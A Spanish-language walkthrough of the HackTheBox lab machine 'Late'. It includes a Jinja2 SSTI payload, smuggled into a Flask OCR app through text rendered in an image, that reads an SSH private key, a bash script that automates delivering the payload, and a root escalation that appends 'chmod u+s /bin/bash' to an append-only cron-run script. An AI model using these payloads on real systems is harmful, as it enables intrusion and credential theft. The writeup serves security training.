Home Hackthebox Writeup Late
Post
Cancel

Hackthebox Writeup Late

Máquina Linux donde al enumerar encontramos un servicio web abierto que aplicaba Virtual Hosting y nos permitia llegar a otra web con un programa para convertir imágenes a texto Optical Character Recognotion (OCR) con el framework Flask, el cuál era vulnerable a SSTI con un payload basado en el template Jinja. Logramos Remote Code Execution (RCE), leemos la llave privada y conseguimos la shell por SSH. Para la escalada tiramos de pspy y encontramos un script cron que ejecutaba el usuario root cada vez que un usuario entraba por SSH, además aplicaba una asignación de atributo para poder modificar el archivo de una manera peculiar pero sencilla. Por último, agregamos un comando al script para asignar permisos SUID a la bash, volvemos a iniciar sesión por SSH, ejecutamos la bash en modo privilegiado y obtenemos la shell como root


LateLogo

OSIPRelease DateDifficultyPoints
Linux10.10.11.15623 Apr 2022Easy20

Antes de empezar verificamos que estamos conectado a la VPN de HTB y tenemos conexión con la máquina:

1
2
3
4
5
6
7
8
> ping -c1 10.10.11.156
PING 10.10.11.156 (10.10.11.156) 56(84) bytes of data.
64 bytes from 10.10.11.156: icmp_seq=1 ttl=63 time=116 ms
					  \______________________ Linux Machine
--- 10.10.11.156 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
          \_________________\____________________________________ Successful connection
rtt min/avg/max/mdev = 115.778/115.778/115.778/0.000 ms

Explicación de parámetros:

-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina

Enumeration


Con nmap realizamos un escaneo de tipo TCP (Transfer Control Protocol) para descubrir puertos abiertos:

1
2
3
4
5
6
7
8
9
10
❯ nmap -p- --open -sS --min-rate 5000 -n 10.10.11.156
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 18:10 -05
Nmap scan report for 10.10.11.156
Host is up (0.11s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh      
              \_________ Secure Shell Protocol
80/tcp open  http     
              \_________ HyperText Transfer Protocol

Explicación de parámetros :

-p- : Escanear todos los puertos, del 1 al 65,535

--open : Escanear solo puertos abiertos

-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo

--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo

-v : Imprimir información del proceso del escaneo

Ahora escaneamos de manera específica los puertos 22 (SSH) - 80 (HTTP) en cuestión:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nmap -p 22,80 -sCV -oN targetTCP 10.10.11.156
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 18:15 -05
Nmap scan report for images.late.htb (10.10.11.156)
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Image Reader
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Explicación de parámetros :

-p <port_1,port_2,...> : Indicamos que puertos queremos escanear

-sC : Ejecutar en los puertos scripts por defecto de nmap

-sV : Activar detección de versiones de los servicios que corren por los puertos

-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap

Ya que no disponemos de credenciales para entrar por SSH, empezamos con el servicio web que corre por el puerto 80 (HTTP):

Con whatweb podemos ver tecnologías que usa el sitio

1
2
❯ whatweb http://10.10.11.156
http://10.10.11.156 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], Email[#,support@late.htb], Google-API[ajax/libs/jquery/1.10.2/jquery.min.js], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.11.156], JQuery[1.10.2], Meta-Author[Sergey Pozhilov (GetTemplate.com)], Script, Title[Late - Best online image tools], nginx[1.14.0]

Si quieres una opción gráfica puedes usar en tu navegador la extensión Wappalyzer y ver las tecnologías

Con Firefox podemos ver el sitio web

HTTP/IP

Solo encontramos de interesante el subdominio images.late.htb, lo agregamos a nuestro archivo /etc/hosts: echo "10.10.11.156 images.late.htb" >> /etc/hosts para aplicar Virtual hosting:

HTTP/SUBDOAMIN

Tambien podemos encontrar el subdominio usando curl

1
2
❯ curl -s "http://10.10.11.156" | grep -oE "http.*htb" | sort -u
http://images.late.htb

Observamos una web con la funcionalidad de convertir una imagen a texto usando Flask. Averiguamos en internet para entender mejor los conceptos:

¿ Qué es Flask ?

FLaskConcept

¿ Qué es la tecnología OCR ?

OCRConcept

Está muy claro que solo nos permite subir imágenes (.png, .jpeg), pero que tal si intentamos engañar al programa pasandole un archivo .png con una cadena de texto: echo 'testing' > test.png

Testing

Ojito!, vemos un mensaje de error y recibimos la ruta completa del archivo subido. Como es costumbre, los usuarios se ubican en la ruta home, con ello podemos deducir que existe un usuario llamado svc_acc

Buscando aplicaciones OCR que usen Flask, encontramos un repositorio de GitHub con una interfaz muy similar: https://github.com/lucadibello/ImageReader

Examinando que réquisitos necesita observamos Jinja2. Además, con la información sobre Flask sabemos que depende del template Jinja2

¿ Qué es Jinja ?

JinjaConcept

Foothold


Con la idea de como trabaja por detrás este software procedemos a buscar vulnerabilidades y encontramos un posible SSTI (Server Site Template Injection) que proviene del Template Jinja que usa el framework Flask:

Validamos que es vulnerable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ convert -pointsize 18 label:'{ { 7 * 7 } }' test.png
     \_________________________________________________ Create image from a text

❯ curl -is -XPOST -F "file=@test.png" http://images.late.htb/scanner
     \_________________________________________________ Transfer data to server

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 10 May 2022 05:45:00 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 10
Connection: keep-alive
Content-Disposition: attachment; filename=results.txt
Last-Modified: Tue, 10 May 2022 05:45:00 GMT
Cache-Control: no-cache
ETag: "1652161500.115982-10-372837928"

<p>49 ______________________________ Vulnerable to SSTI !
</p> 

Explicación de parámetros :

convert :

-pointsize <number>: Asignar tamaño a la fuente del texto

label:<text> : Asignar texto a convertir

curl :

-is : Incluir cabezeras en la respuesta HTTP y ocultar medidor de progreso/posibles errores

-F “<form-field_name>=@<file_name>”: Permite subir archivos/data por POST

Para hacer la conversión puedes usar muchas herramientas online, y para la petición, la misma web te dara la respuesta en un .txt. También puedes usar burpsuite para visualizar la respuesta.

Al intentar subir imágenes nos dimos cuenta que el tamaño de la letra y probablemente la fuente, afectan la ejecución de la inyeccción.

Para conseguir la ejecución hice un script en bashal cuál le pasas un payload del template Jinja; aplicando Bypassing '_' y quitando las llaves { { } }; para luego probar con diferentes fuentes y tamaños, validar que la conversión se realizo correctamente y ejecutarlo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash

# Script to find the font and size for payload execution

# extract fonts
if [ ! -f fonts.txt ]; then
        curl -s https://www.azfonts.net/fonts/popular | grep "font-item__title" -A 1 | grep -v "font-item__title" | awk -F">" '{print $2}' | sed 's/<\/strong//g' | tr -s '\n' | sed '51,100d'
fi

# variables
c=1
payload=$1
url="http://images.late.htb/scanner"

while read font; do
        clear
        sleep 2
        echo $c "[+] "$font
        size=8
        for i in $(seq 1 20); do
                data=$(echo Size : $size - Fontsize : $font)
                convert -pointsize $size -font "$font" label:"$payload" data.png
                sleep 0.5
                echo -e "\t" "Fontsize : $size"
                output=$(curl -is -XPOST -F "file=@data.png" $url | grep "<p>" | awk -F ">" '{print $2}')
                echo -e "\t" $output
                if [ "$output" = "$payload" ]; then
                        echo -e "\n\n[!] Same payload -> " $data
                        exec="{ { $payload } }"
                        convert -pointsize $size -font "$font" label:"$exec" data.png
                        echo -e "[+] Payload converted to execution:\n"
                        curl -s -XPOST -F "file=@data.png" $url
                        exit 1
                fi
                let size+=2
        done
        let c+=1
done < fonts.txt

Pueden encontrar el script en mi repositorio: https://github.com/E1P0TR0

Recordamos que vimos un usuario llamado svc_acc, además sabemos que el puerto 22 estaba abierto. Así que en la clásica ruta /home/{user}/.ssh/private_key logramos visualizar la private_key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ./script.sh 'get_flashed_messages["__globals__"]["__builtins__"].open("/home/svc_acc/.ssh/id_rsa").read()'

1 [+] Avenir Pro Light
         Fontsize : 8                                                                                                                                                       
         Qet_fashed_messages[_ gobais "T_ bulltms_ “].opan|"nome'svc_acc/.ssid rsa”) read{)                                                                                 
         Fontsize : 10                                                                                                                                                      
         .s j.open("/home/svc_acc/.ssh/id_rsa").read()                                                                                                                               Fontsize : 12                                                                                                                                                      
         get_flashed_messages["_ globals__"J["__builtins__"].open("/yhome/svc_ace/.ssh/id_rsa").read()                                                                      
         Fontsize : 14                                                                                                                                                      
         get flashed _messages[" globals_ "]["__ builtins _"].open("/home/svc_acc/.ssh/id_rsa").read()                                                                      
         Fontsize : 16                     
         get_flashed_messages["__globals__"J["__builtins__"].open("/home/svc_acc/.ssh/id_rsa").read()                                                                       
         Fontsize : 18                     
         get_flashed_messages["__globals__"]["__builtins__"].open("/home/svc_acc/.ssh/id_rsa").read()                                                                       


[!] Same payload ->  Size : 18 - Fontsize : Avenir Pro Light                          
[+] Payload converted to execution:        

<p>-----BEGIN RSA PRIVATE KEY-----         
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM                      
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO                      
bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi         
/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
****************************************************************
****************************************************************
</p>

Gran Repositorio de Template Inyections: https://github.com/swisskyrepo/PayloadsAllTheThings

Ahora guardamos la llave en un archivo llamado id_rsa, le damos permisos de una llave privada chmod 600 y pa-dentro:

1
2
3
4
5
❯ chmod 600 id_rsa
❯ ssh -i id_rsa svc_acc@10.10.11.156
No mail.
svc_acc@late:~$ find / -name user.txt 2>/dev/null | xargs ls -l
-rw-r----- 1 root svc_acc 33 May 10 04:20 /home/svc_acc/user.txt

Privilege Escalation


Después de una enumeración básica no logramos encontrar algo interesante. Pero nos dimos cuenta al entrar por SSH el mensaje No mail, además en la enumeración encontramos archivos .bak (backups), pero no logramos obtener credenciales.

Ahora procedemos a listar cron jobs y comandos que executan los usuarios del sistema, para ello usamos la herramienta pspy:

Descargamos la herramienta en su repositorio: https://github.com/DominicBreuker/pspy

En nuestra máquina montamos un servicio web con php:

1
2
3
4
❯ ls
 pspy64
❯ php -S 0.0.0.0:1234
[Tue May 10 20:28:33 2022] PHP 8.1.2 Development Server (http://0.0.0.0:1234) started

En la máquina víctima descargamos el archivo pspy64 en una carpeta con acceso:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
svc_acc@late:~$ cd /tmp/
svc_acc@late:/tmp$ mkdir privesc
svc_acc@late:/tmp$ cd !$
cd privesc
svc_acc@late:/tmp/privesc$ wget http://10.10.14.181:1234/pspy64
--2022-05-11 01:33:35--  http://10.10.14.181:1234/pspy64
Connecting to 10.10.14.181:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M)
Saving to: ‘pspy64’

pspy64                            100%[============================================================>]   2.94M  1.58MB/s    in 1.9s    

2022-05-11 01:33:37 (1.58 MB/s) - ‘pspy64’ saved [3078592/3078592]

Por último le damos permisos de ejecución, lo ejecutamos y encontramos algo interesante:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
svc_acc@late:/tmp/privesc$ chmod +x pspy64                                                                                    [174/174]
svc_acc@late:/tmp/privesc$ ./pspy64                                                                                                    
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855                                                          
                                                                                                                                       
                                                                                                                                       
     ██▓███    ██████  ██▓███ ▓██   ██▓                                                                                                
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒                                                                                                
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░                                                                                                
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░                                                                                                    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░                                                                                                
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒                                                                                                 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░                                                                                                 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░                                                                                                  
                   ░           ░ ░                                                                                                     
                               ░ ░                                                                                                     
                                                                                                                                       
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotif
y events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)                                   
Draining file system events due to startup...                                                                                         
done                                                                                                                                   
.................................................
......................................................
...............................................
2022/05/11 01:56:27 CMD: UID=0    PID=1662   | sendmail: MTA: accepting connections
.................................................
............................................
2022/05/11 01:58:01 CMD: UID=0    PID=4207   | /bin/bash /root/scripts/cron.sh 
2022/05/11 01:58:01 CMD: UID=0    PID=4208   | rm /usr/local/sbin/ssh-alert.sh 
2022/05/11 01:58:01 CMD: UID=0    PID=4209   | cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh 
2022/05/11 01:58:01 CMD: UID=0    PID=4211   | chown svc_acc:svc_acc /usr/local/sbin/ssh-alert.sh
2022/05/11 01:58:01 CMD: UID=0    PID=4213   | rm -r /home/svc_acc/app/uploads/* 2>/dev/null
2022/05/11 01:58:01 CMD: UID=0    PID=4215   | chattr +a /usr/local/sbin/ssh-alert.sh
.........................................
...................................................

Primero vemos un mensaje de sendmail, el cuál es un agente de transferencias de correo MTA (Mail Transfer Agent)

También observamos que el usuario root UID=0 ejecuta un script cron.h, que por el nombre podemos deducir que será. Sabemos que cron es un clock daemon que permite a los usuarios automatizar la ejecución de comandos en el sistema sobre un intervalo de tiempo especificado.

Luego vemos que se ejecutan más comandos y observamos que el usuario root copia el script ssh-alert.sh a la ruta /usr/local/sbin/, nos otorga como propietarios y luego usa chattr para cambiar atributos al archivo. Se ve interesante, así que procedemos a ver el contenido:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
svc_acc@late:/usr/local/sbin$ cat ssh-alert.sh
#!/bin/bash

RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"

BODY="
A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`
"

if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi

Lo que haces el script es enviar por medio de sendmail un correo al usuario root avisandole sobre un inicio de sesión por SSH. Entonces podemos deducir que cada vez que un usuario inica sesión el usuario root ejecutara este script.

Para comprobarlo podemos tirar pspy de una sesión y luego en otra ventana volver a conectarnos por SSH y comprobaremos que el usuario root ejecuta el script ssh-alert.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
svc_acc@late:/tmp/privesc$ ./pspy64
.................................................
....................................................
...........................................
2022/05/12 00:41:25 CMD: UID=0    PID=1      | /sbin/init maybe-ubiquity
2022/05/12 00:41:31 CMD: UID=0    PID=19472  | /usr/sbin/sshd -D -R
2022/05/12 00:41:31 CMD: UID=110  PID=19473  | sshd: [net]                                                                   
2022/05/12 00:41:32 CMD: UID=0    PID=19474  | /bin/bash /usr/local/sbin/ssh-alert.sh
				 command execution ! ________________________/ 
2022/05/12 00:41:32 CMD: UID=0    PID=19478  | /bin/bash /usr/local/sbin/ssh-alert.sh                                                  
2022/05/12 00:41:32 CMD: UID=0    PID=19479  | sendmail: MTA: 24C0fWVM019479 localhost.localdomain [127.0.0.1]: DATA                   
2022/05/12 00:41:32 CMD: UID=0    PID=19480  | sendmail: MTA: ./24C0fWVM019479 from queue                                              
2022/05/12 00:41:32 CMD: UID=1000 PID=19481  | sshd: svc_acc                                                                           
2022/05/12 00:41:32 CMD: UID=0    PID=19482  | /etc/mail/smrsh/procmail -t -f svc_acc@new -a  -d root                                  
2022/05/12 00:41:32 CMD: UID=1000 PID=19483  | -bash                                                               
.........................................
............................................... 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

❯ ssh -i id_rsa svc_acc@10.10.11.156
No mail.
svc_acc@late:~$ 

Ya validamos que el usuario ejecuta el script /usr/local/sbin/ssh-alert.sh que previamente copiṕ.

Ahora facilmente podemos abrir el archivo y escribir el comando chmod u+s /bin/bash para poder ejecutar una bash (intérpetre de comandos) como root y obtener la shell. La idea es correcta, pero no nos permite abrir el archivo y modificarlo, aunque eso no es tan cierto…

Antes, en la ejecución de pspy, vimos que al script se aplicaba el comando chattr +a, pero que hace exactamente?

ChattrConcept

Entonces lo que hace es cambiar atributos de archivos, y en este caso el paramtro +a solo permite escribir en el archivo agregando información, entonces podemos usar el comando para output >> y así poder modificar el archivo.

Si queremos confirmar estos permisos podemos verlos usando el comando lsattr:

1
2
3
4
svc_acc@late:/usr/local/sbin$ lsattr ssh-alert.sh
-----a--------e--- ssh-alert.sh
svc_acc@late:/usr/local/sbin$ lsattr -l ssh-alert.sh
ssh-alert.sh                 Append_Only, Extents

Usamos el parametro -l para usar el nombre descriptivo y saber que significa

Ahora solo agregamos el comando al script echo "chmod u+s /bin/bash" >> ssh-alert.sh, volvemos a logearnos por SSH, el usuario root ejecutará el script, el comando bash tendra permisos SUID (nos permite ejecutar el comando con los permisos del propietario), luego ejecutamos el comando bash con el parámetro -p para que sea efectivo el permiso SUID, mantener el UID de root, obtener la shell y pa-dentro:

1
2
3
4
5
6
7
8
9
10
11
12
13
svc_acc@late:/usr/local/sbin$ echo "chmod u+s /bin/bash" >> ssh-alert.sh
svc_acc@late:/usr/local/sbin$ exit                                                                                                     
logout
Connection to 10.10.11.156 closed.
❯ ssh -i id_rsa svc_acc@10.10.11.156
No mail.
bash-4.4$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash
bash-4.4$ bash -p
bash-4.4# whoami
root
bash-4.4# find / -name root.txt 2>/dev/null | xargs ls -l           
-rw-r----- 1 root root 33 May 11 20:15 /root/root.txt

This post is licensed under CC BY 4.0 by the author.